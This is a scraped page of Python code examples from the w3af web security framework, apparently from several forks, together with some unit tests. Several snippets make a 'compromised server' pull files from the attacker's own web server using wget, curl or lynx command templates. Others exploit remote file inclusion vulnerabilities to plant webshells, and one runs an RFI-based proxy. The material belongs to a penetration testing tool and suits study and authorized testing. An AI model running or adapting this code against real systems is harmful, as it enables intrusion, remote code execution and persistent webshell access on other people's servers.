Ejemplo n.º 1
0
    def transfer(self, strObject, destination):
        """
        This method is used to transfer the strObject from w3af to the compromised server.
        """
        if not self._command:
            self.canTransfer()

        commandTemplates = {}
        commandTemplates["wget"] = "wget http://%s:%s/%s -O %s"
        commandTemplates["lynx"] = "lynx -source http://%s:%s/%s > %s"
        commandTemplates["curl"] = "curl http://%s:%s/%s > %s"

        # Create the file
        filename = createRandAlpha(10)
        filePath = get_temp_dir() + os.path.sep + filename
        f = file(filePath, "w")
        f.write(strObject)
        f.close()

        # Start a web server on the inbound port and create the file that
        # will be fetched by the compromised host
        webserver.start_webserver(cf.cf.getData("localAddress"), self._inboundPort, get_temp_dir() + os.path.sep)

        commandToRun = commandTemplates[self._command] % (
            cf.cf.getData("localAddress"),
            self._inboundPort,
            filename,
            destination,
        )
        self._exec_method(commandToRun)

        os.remove(filePath)

        return self.verify_upload(strObject, destination)
Ejemplo n.º 2
0
    def transfer(self, data_str, destination):
        '''
        This method is used to transfer the data_str from w3af to the compromised server.
        '''
        if not self._command:
            self.can_transfer()

        commandTemplates = {}
        commandTemplates['wget'] = 'wget http://%s:%s/%s -O %s'
        commandTemplates['lynx'] = 'lynx -source http://%s:%s/%s > %s'
        commandTemplates['curl'] = 'curl http://%s:%s/%s > %s'

        # Create the file
        filename = rand_alpha(10)
        file_path = get_temp_dir() + os.path.sep + filename
        f = file(file_path, 'w')
        f.write(data_str)
        f.close()

        # Start a web server on the inbound port and create the file that
        # will be fetched by the compromised host
        webserver.start_webserver(cf.cf.get('local_ip_address'),
                                  self._inbound_port,
                                  get_temp_dir())

        commandToRun = commandTemplates[self._command] % \
            (cf.cf.get('local_ip_address'), self._inbound_port,
             filename, destination)
        self._exec_method(commandToRun)

        os.remove(file_path)

        return self.verify_upload(data_str, destination)
Ejemplo n.º 3
0
    def transfer(self, data_str, destination):
        '''
        This method is used to transfer the data_str from w3af to the compromised server.
        '''
        if not self._command:
            self.can_transfer()

        commandTemplates = {}
        commandTemplates['wget'] = 'wget http://%s:%s/%s -O %s'
        commandTemplates['lynx'] = 'lynx -source http://%s:%s/%s > %s'
        commandTemplates['curl'] = 'curl http://%s:%s/%s > %s'

        # Create the file
        filename = rand_alpha(10)
        file_path = get_temp_dir() + os.path.sep + filename
        f = file(file_path, 'w')
        f.write(data_str)
        f.close()

        # Start a web server on the inbound port and create the file that
        # will be fetched by the compromised host
        webserver.start_webserver(cf.cf.get('local_ip_address'),
                                  self._inbound_port, get_temp_dir())

        commandToRun = commandTemplates[self._command] % \
            (cf.cf.get('local_ip_address'), self._inbound_port,
             filename, destination)
        self._exec_method(commandToRun)

        os.remove(file_path)

        return self.verify_upload(data_str, destination)
Ejemplo n.º 4
0
 def setUp(self):
     self.tempdir = tempfile.gettempdir()
     
     for port in xrange(self.PORT, self.PORT + 15):
         try:
             start_webserver(self.IP, port, self.tempdir)
         except:
             pass
         else:
             self.PORT = port
             break
Ejemplo n.º 5
0
    def can_exploit(self, vuln_to_exploit=None):
        """
        Searches the kb for vulnerabilities that this plugin can exploit, this
        is overloaded from AttackPlugin because I need to test for xss vulns
        also. This is a "complex" plugin.

        :param vuln_to_exploit: The id of the vulnerability to exploit.
        :return: True if plugin knows how to exploit a found vuln.
        """
        if not self._listen_address and not self._use_XSS_vuln:
            msg = (
                "You need to specify a local IP address where w3af can bind"
                " an HTTP server that can be reached by the vulnerable Web"
                " application."
            )
            om.out.error(msg)
            return False

        rfi_vulns = kb.kb.get("rfi", "rfi")
        if vuln_to_exploit is not None:
            rfi_vulns = [v for v in rfi_vulns if v.get_id() == vuln_to_exploit]

        if not rfi_vulns:
            return False

        #
        # Ok, I have the RFI vulnerability to exploit, but... is the
        # plugin configured in such a way that exploitation is possible?
        #
        if self._use_XSS_vuln:
            usable_xss = self._verify_xss_vuln()

        # Using the good old webserver (if properly configured)
        if not self._listen_address and not usable_xss:
            msg = (
                "You need to specify a local IP address where w3af can"
                " bind an HTTP server that can be reached by the"
                " vulnerable Web application."
            )
            om.out.error(msg)
            return False

        if self._listen_address and self._listen_port:
            # Start local webserver, raise an exception if something
            # fails
            webroot_path = os.path.join(get_home_dir(), "webroot")
            try:
                webserver.start_webserver(self._listen_address, self._listen_port, webroot_path)
            except socket.error, se:
                msg = (
                    "Failed to start the local web server to exploit the" ' RFI vulnerability, the exception was: "%s".'
                )
                om.out.error(msg % se)
                return False
Ejemplo n.º 6
0
    def setUp(self):
        self.tempdir = tempfile.gettempdir()

        for port in xrange(self.PORT, self.PORT + 15):
            try:
                start_webserver(self.IP, port, self.tempdir)
            except:
                pass
            else:
                self.PORT = port
                break
Ejemplo n.º 7
0
    def test_custom_web_server(self):
        RFIWebHandler.RESPONSE_BODY = '<? echo "hello world"; ?>'
        webserver.start_webserver('127.0.0.1', REMOTEFILEINCLUDE, '.',
                                  RFIWebHandler)

        response_foobar = urllib2.urlopen(
            'http://localhost:44449/foobar').read()
        response_spameggs = urllib2.urlopen(
            'http://localhost:44449/spameggs').read()

        self.assertEqual(response_foobar, response_spameggs)
        self.assertEqual(response_foobar, RFIWebHandler.RESPONSE_BODY)
Ejemplo n.º 8
0
    def _local_test_inclusion(self, freq, orig_response):
        '''
        Check for RFI using a local web server

        :param freq: A FuzzableRequest object
        :return: None, everything is saved to the kb
        '''
        #
        # The listen address is an empty string when I have no default route
        #
        # Only work if:
        #   - The listen address is private and the target address is private
        #   - The listen address is public and the target address is public
        #
        if self._listen_address == '':
            return

        is_listen_priv = is_private_site(self._listen_address)
        is_target_priv = is_private_site(freq.get_url().get_domain())

        if (is_listen_priv and is_target_priv) or \
        not (is_listen_priv or is_target_priv):
            
            msg = 'RFI using local web server for URL: %s' % freq.get_url() 
            om.out.debug(msg)
            
            try:
                # Create file for remote inclusion
                php_jsp_code, rfi_data = self._create_file()

                # Setup the web server handler to return always the same response
                # body. This is important for the test, since it might be the case
                # that the web application prepends/appends something to the
                # URL being included, and we don't want to fail there!
                #
                # Also, this allows us to remove the payloads we sent with \0
                # which tried to achieve the same result.
                RFIWebHandler.RESPONSE_BODY = php_jsp_code

                # Start web server
                #
                # No real webroot is required since the custom handler returns
                # always the same HTTP response body
                webroot = '.'
                webserver.start_webserver(self._listen_address,
                                          self._listen_port, webroot,
                                          RFIWebHandler)

                # Perform the real work
                self._test_inclusion(freq, rfi_data, orig_response)
            except Exception, e:
                om.out.error('An error occurred while running local webserver:'
                             ' "%s"' % e)
Ejemplo n.º 9
0
    def test_custom_web_server(self):
        RFIWebHandler.RESPONSE_BODY = '<? echo "hello world"; ?>'
        webserver.start_webserver(
            '127.0.0.1', REMOTEFILEINCLUDE, '.', RFIWebHandler)

        response_foobar = urllib2.urlopen(
            'http://localhost:44449/foobar').read()
        response_spameggs = urllib2.urlopen(
            'http://localhost:44449/spameggs').read()

        self.assertEqual(response_foobar, response_spameggs)
        self.assertEqual(response_foobar, RFIWebHandler.RESPONSE_BODY)
Ejemplo n.º 10
0
Archivo: rfi.py Proyecto: weisst/w3af
    def _local_test_inclusion(self, freq, orig_response):
        '''
        Check for RFI using a local web server

        :param freq: A FuzzableRequest object
        :return: None, everything is saved to the kb
        '''
        #
        # The listen address is an empty string when I have no default route
        #
        # Only work if:
        #   - The listen address is private and the target address is private
        #   - The listen address is public and the target address is public
        #
        if self._listen_address == '':
            return

        is_listen_priv = is_private_site(self._listen_address)
        is_target_priv = is_private_site(freq.get_url().get_domain())

        if (is_listen_priv and is_target_priv) or \
        not (is_listen_priv or is_target_priv):

            msg = 'RFI using local web server for URL: %s' % freq.get_url()
            om.out.debug(msg)

            try:
                # Create file for remote inclusion
                php_jsp_code, rfi_data = self._create_file()

                # Setup the web server handler to return always the same response
                # body. This is important for the test, since it might be the case
                # that the web application prepends/appends something to the
                # URL being included, and we don't want to fail there!
                #
                # Also, this allows us to remove the payloads we sent with \0
                # which tried to achieve the same result.
                RFIWebHandler.RESPONSE_BODY = php_jsp_code

                # Start web server
                #
                # No real webroot is required since the custom handler returns
                # always the same HTTP response body
                webroot = '.'
                webserver.start_webserver(self._listen_address,
                                          self._listen_port, webroot,
                                          RFIWebHandler)

                # Perform the real work
                self._test_inclusion(freq, rfi_data, orig_response)
            except Exception, e:
                om.out.error('An error occurred while running local webserver:'
                             ' "%s"' % e)
Ejemplo n.º 11
0
Archivo: rfi.py Proyecto: daemon13/w3af
    def can_exploit(self, vuln_to_exploit=None):
        '''
        Searches the kb for vulnerabilities that this plugin can exploit, this
        is overloaded from AttackPlugin because I need to test for xss vulns
        also. This is a "complex" plugin.

        :param vuln_to_exploit: The id of the vulnerability to exploit.
        :return: True if plugin knows how to exploit a found vuln.
        '''
        if not self._listen_address and not self._use_XSS_vuln:
            msg = 'You need to specify a local IP address where w3af can bind'\
                  ' an HTTP server that can be reached by the vulnerable Web'\
                  ' application.'
            om.out.error(msg)
            return False

        rfi_vulns = kb.kb.get('rfi', 'rfi')
        if vuln_to_exploit is not None:
            rfi_vulns = [v for v in rfi_vulns if v.get_id() == vuln_to_exploit]

        if not rfi_vulns:
            return False

        #
        # Ok, I have the RFI vulnerability to exploit, but... is the
        # plugin configured in such a way that exploitation is possible?
        #
        if self._use_XSS_vuln:
            usable_xss = self._verify_xss_vuln()

        # Using the good old webserver (if properly configured)
        if not self._listen_address and not usable_xss:
            msg = 'You need to specify a local IP address where w3af can'\
                  ' bind an HTTP server that can be reached by the'\
                  ' vulnerable Web application.'
            om.out.error(msg)
            return False

        if self._listen_address and self._listen_port:
            # Start local webserver, raise an exception if something
            # fails
            webroot_path = os.path.join(get_home_dir(), 'webroot')
            try:
                webserver.start_webserver(self._listen_address,
                                          self._listen_port, webroot_path)
            except socket.error, se:
                msg = 'Failed to start the local web server to exploit the'\
                      ' RFI vulnerability, the exception was: "%s".'
                om.out.error(msg % se)
                return False
Ejemplo n.º 12
0
 def run(self):
     '''
     Starts the http server that will become a proxy.
     
     '''
     if self._rfiConnGenerator == '':
         # If user failed to configure self._rfiConnGenerator we will run a webserver
         # and configure the _rfiConnGenerator attr for him
         om.out.information('Running a local httpd to serve the RFI connection generator to remote web app.')
         webroot = os.path.join('plugins', 'attack', 'rfiProxy')
         webserver.start_webserver(self._proxyPublicIP, self._httpdPort, webroot)
         self._rfiConnGenerator = 'http://' + self._proxyPublicIP + ':' + str(self._httpdPort) + '/rfip.txt'
         
     ### TODO: I really dislike this:
     global url
     global exploitData
     global variable
     global rfiConnGenerator
     #    We should change it to something like this:
     #
     #>>> import new
     #>>> class A(object):
     #       def foo(self):
     #               print self.x
     #>>> B = new.classobj('B', (A,), {'x': 1})
     #>>> b = B()
     #>>> b.foo()
     #1
     #>>>
     #
     #    Kudos to Javier for the nice solution :)
     url = self._url
     exploitData = self._exploitData
     rfiConnGenerator = self._rfiConnGenerator
     variable = self._variable
     
     self._proxy = HTTPServer((self._proxyAddress, self._proxyPort ),  w3afProxyHandler )
     message = 'Proxy server running on '+ self._proxyAddress + ':'+ str(self._proxyPort) +' .'
     message += ' You may now configure this proxy in w3af or your browser. '
     om.out.information( message )
     
     self._running = True
     while self._go:
         try:
             self._proxy.handle_request()
         except:
             self._proxy.server_close()
Ejemplo n.º 13
0
 def _local_test_inclusion(self, freq):
     '''
     Check for RFI using a local web server
     
     @param freq: A fuzzableRequest object
     @return: None, everything is saved to the kb
     '''
     #
     # The listen address is an empty string when I have no default route
     #
     # Only work if:
     #   - The listen address is private and the target address is private
     #   - The listen address is public and the target address is public
     #
     if self._listen_address == '':
         return
     
     is_listen_priv = is_private_site(self._listen_address)
     is_target_priv = is_private_site(freq.getURL().getDomain())
         
     if (is_listen_priv and is_target_priv) or \
         not (is_listen_priv or is_target_priv):
         om.out.debug('RFI test using local web server for URL: ' + freq.getURL())
         om.out.debug('w3af is running a webserver')
         try:
             # Create file for remote inclusion
             self._create_file()
             
             # Start web server
             webroot = os.path.join(get_home_dir(), 'webroot')
             webserver.start_webserver(self._listen_address,
                                       self._listen_port, webroot)
             
             # Perform the real work
             self._test_inclusion(freq)
             
             # Wait for threads to finish
             self._tm.join(self)
         except Exception,e:
             msg = 'An error occurred while running local webserver: "%s"' % str(e)
             om.out.error( msg )
         finally:
    def _verifyVuln(self, vuln):
        '''
        This command verifies a vuln. This is really hard work!

        @return : True if vuln can be exploited.
        '''
        # Create the shell
        extension = urlParser.getExtension( vuln.getURL() )
        
        # I get a list of tuples with file_content and extension to use
        shell_list = shell_handler.get_webshells( extension )
        
        for file_content, real_extension in shell_list:
            #
            #    This for loop aims to exploit the RFI vulnerability and get remote
            #    code execution.
            #
            if extension == '':
                extension = real_extension

            url_to_include = self._gen_url_to_include(file_content, extension)

            # Start local webserver
            webroot_path = os.path.join(get_home_dir(), 'webroot')
            webserver.start_webserver(self._listen_address, self._listen_port,
                                      webroot_path)
            
            # Prepare for exploitation...
            function_reference = getattr(self._urlOpener, vuln.getMethod())
            data_container = vuln.getDc()
            data_container[vuln.getVar()] = url_to_include

            try:
                http_res = function_reference(vuln.getURL(), str(data_container))
            except:
                successfully_exploited = False
            else:
                successfully_exploited = self._define_exact_cut(
                                                http_res.getBody(),
                                                shell_handler.SHELL_IDENTIFIER)


            if successfully_exploited:
                self._exploit_dc = data_container
                return SUCCESS_COMPLETE
            else:
                # Remove the file from the local webserver webroot
                self._rm_file(url_to_include)
        
        else:
            
            #
            #    We get here when it was impossible to create a RFI shell, but we
            #    still might be able to do some interesting stuff
            #
            function_reference = getattr( self._urlOpener , vuln.getMethod() )
            data_container = vuln.getDc()
            
            #    A port that should "always" be closed,
            data_container[ vuln.getVar() ] = 'http://localhost:92/'   

            try:
                http_response = function_reference( vuln.getURL(), str(data_container) )
            except:
                return False
            else:
                rfi_errors = ['php_network_getaddresses: getaddrinfo',
                                    'failed to open stream: Connection refused in']
                for error in rfi_errors:
                    if error in http_response.getBody():
                        return SUCCESS_OPEN_PORT
                    
        return NO_SUCCESS